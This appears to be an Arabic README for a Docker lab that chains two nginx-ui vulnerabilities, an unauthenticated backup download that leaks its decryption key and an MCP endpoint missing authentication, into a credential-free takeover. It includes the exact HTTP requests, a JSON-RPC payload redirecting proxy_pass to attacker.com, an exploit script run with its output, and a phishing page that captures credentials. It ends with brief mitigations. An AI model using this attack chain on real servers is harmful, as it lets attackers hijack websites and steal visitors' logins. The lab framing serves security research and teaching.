
إعداد Docker Compose لتوضيح ثغرة نقص المصادقة في nginx-ui
إخلاء مسؤولية: هذا المستودع مخصص لأغراض البحث الأمني التعليمي والمصرح به فقط. يجب استخدام جميع التقنيات الموضحة هنا فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام. لا تقم بتشغيل هذا ضد أي نظام دون إذن.
مختبر Docker Compose متكامل يوضح سلسلة من ثغرتين ضد nginx-ui v2.3.1 تحقق السيطرة الكاملة على nginx مع صفر معرفة مسبقة — بدون أسماء مستخدمين، بدون كلمات مرور، بدون رموز.
GET /api/backup لا يتطلب أي مصادقة. تعيد نقطة النهاية نسخة احتياطية مشفرة كاملة من تثبيت nginx-ui — بما في ذلك app.ini — وترسل مفتاح فك تشفير AES-256-CBC و IV كنص واضح في ترويسة الاستجابة:
X-Backup-Security: <base64_key>:<base64_iv>
من المصدر (api/backup/router.go):
r.GET("/backup", CreateBackup) // ❌ بدون middleware
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)
فك تشفير النسخة الاحتياطية ينتج app.ini، الذي يحتوي على [node] Secret المطلوب للخطوة 2.
| CVE | CVE-2026-27944 (GHSA-g9w5-qffc-6762) |
| CVSS | 9.8 حرجة |
| المتأثر | nginx-ui < 2.3.2 |
| تم الإصلاح في | nginx-ui 2.3.3 |
أضاف nginx-ui v2.3.x واجهة بروتوكول سياق النموذج (MCP) تعرض 12 أداة لإدارة nginx. الخلل هو استدعاء middleware مفقود واحد في mcp/router.go:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // ❌ AuthRequired() مفقود
مع sessionId تم الحصول عليه عبر سر العقدة، يمكن للمهاجم إرسال POST إلى /mcp_message بدون بيانات اعتماد مستخدم واستدعاء أي أداة مميزة — بما في ذلك nginx_config_modify و reload_nginx.
| CVE | CVE-2026-33032 |
| الاسم المستعار | MCPwn (Pluto Security) |
| CVSS | 9.8 حرجة |
| المتأثر | nginx-ui ≤ 2.3.3 |
| تم الإصلاح في | nginx-ui 2.3.4 |
┌──────────────────────────────────────────────────────────┐
│ المتصفح │
│ http://localhost:8080 ──► nginx_ui (:80) │
│ │ │
│ المهاجم ▼ │
│ http://localhost:9000 ──► nginx_ui (:9000) ضعيف │
│ (بدون بيانات اعتماد) uozi/nginx-ui:v2.3.1 │
│ │
│ ┌─────────────────────────┐ │
│ │ webapp (أخضر) │ نموذج تسجيل │
│ │ proxy_pass الافتراضي │ دخول شرعي │
│ └─────────────────────────┘ │
│ ┌─────────────────────────┐ │
│ │ malicious_site (أحمر) │ نسخة تصيد │
│ │ proxy_pass بعد الهجوم │ تجمع بيانات │
│ └─────────────────────────┘ │
└──────────────────────────────────────────────────────────┘
nginx-ui يضم مثيل nginx خاص به. عندما يستدعي الاستغلال reload_nginx عبر MCP، فإنه يعيد تحميل نفس nginx الذي يخدم حركة المرور على :8080 — بدون الحاجة إلى وصول للمضيف.
المتطلبات: Docker + Docker Compose + Python 3.10+
git clone <repo-url>
cd nginx-ui-vuln-lab
docker compose up -d
| الرابط | |
|---|---|
http://localhost:8080 | موقع الضحية — أخضر (شرعي) |
http://localhost:9000 | لوحة إدارة nginx-ui |
pip install -r exploit/requirements.txt
python3 exploit/exploit.py --url http://localhost:9000
يربط السكربت كلتا الثغرتين بدون بيانات اعتماد مسبقة:
==============================================================
CVE-2026-27944 + CVE-2026-33032 — nginx-ui Zero-Cred RCE
الهدف : http://localhost:9000
==============================================================
[*] CVE-2026-27944 — تنزيل النسخة الاحتياطية (بدون مصادقة)
[+] مفتاح AES+IV من الترويسة: kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] تم استخراج سر العقدة: 605f228e-2480-49ec-8dd2-045d8d8a073f
[*] CVE-2026-33032 — فتح جلسة MCP غير مصادق عليها (GET /mcp)
[+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a
[*] الاستطلاع — قراءة الإعداد الحالي
[+] الحالي: proxy_pass http://webapp:80;
[*] الكتابة فوق default.conf عبر POST /mcp_message (بدون مصادقة)
[+] الجديد: proxy_pass http://malicious_site:80;
[*] إعادة تحميل nginx عبر POST /mcp_message (بدون مصادقة)
[+] تم إعادة تحميل nginx — الإعداد نشط
[!] اكتمل الهجوم.
الضحايا على http://localhost:8080/ يتلقون الآن صفحة التصيد.
عرض بيانات الاعتماد الملتقطة: http://localhost:8080/?debug=1
بعد الاستغلال، يتحول http://localhost:8080 من الصفحة الشرعية الخضراء إلى نسخة التصيد الحمراء — على نفس الرابط، بدون أي إشارة للضحية.
افتح http://localhost:8080/?debug=1 لكشف لوحة المهاجم ورؤية بيانات الاعتماد الملتقطة في الوقت الفعلي.
python3 exploit/exploit.py --url http://localhost:9000 --reset
يستخدم نفس سلسلة الثغرات لاستعادة الإعداد الأصلي وإعادة تحميل nginx.
GET /api/backup HTTP/1.1
Host: target:9000
الاستجابة:
HTTP/1.1 200 OK
X-Backup-Security: <base64_key>:<base64_iv>
Content-Type: application/zip
فك تشفير ملف zip بالمفتاح/IV المقدمين → استخراج app.ini → قراءة [node] Secret.
الطلب 1 — فتح جلسة SSE (سر العقدة، بدون مصادقة مستخدم):
GET /mcp?node_secret=<uuid>
يستجيب تدفق SSE بـ sessionId.
الطلب 2+ — استدعاء الأدوات (بدون مصادقة إطلاقاً):
POST /mcp_message?sessionId=<uuid>
Content-Type: application/json
{
"jsonrpc": "2.0", "id": 1, "method": "tools/call",
"params": {
"name": "nginx_config_modify",
"arguments": {
"relative_path": "default.conf",
"content": "server { location / { proxy_pass http://attacker.com; } }",
"sync_overwrite": false
}
}
}
بدون ترويسة Authorization. بدون ملف تعريف ارتباط. AuthRequired() غائب ببساطة عن مسار /mcp_message.
| الأداة | التأثير |
|---|---|
nginx_config_modify | الكتابة فوق أي ملف إعداد |
nginx_config_add | إنشاء ملفات إعداد جديدة |
nginx_config_get | قراءة أي ملف إعداد |
nginx_config_list | سرد جميع الإعدادات |
nginx_config_enable/disable | تفعيل/تعطيل إعدادات المواقع |
nginx_config_rename | نقل/إعادة تسمية ملفات الإعداد |
nginx_config_mkdir | إنشاء مجلدات |
nginx_config_history | عرض سجل التغييرات |
nginx_config_base_path | كشف مسار جذر الإعدادات |
nginx_status | التحقق من حالة nginx |
reload_nginx | تطبيق تغييرات الإعداد مباشرة |
restart_nginx | إعادة تشغيل كاملة لـ nginx |
[node] IPWhiteList غير فارغ في app.ini لتقييد وصول MCP لعناوين IP محددة/etc/nginx/conf.d/ مع مراقبة تكامل الملفات (auditd, Wazuh, إلخ.)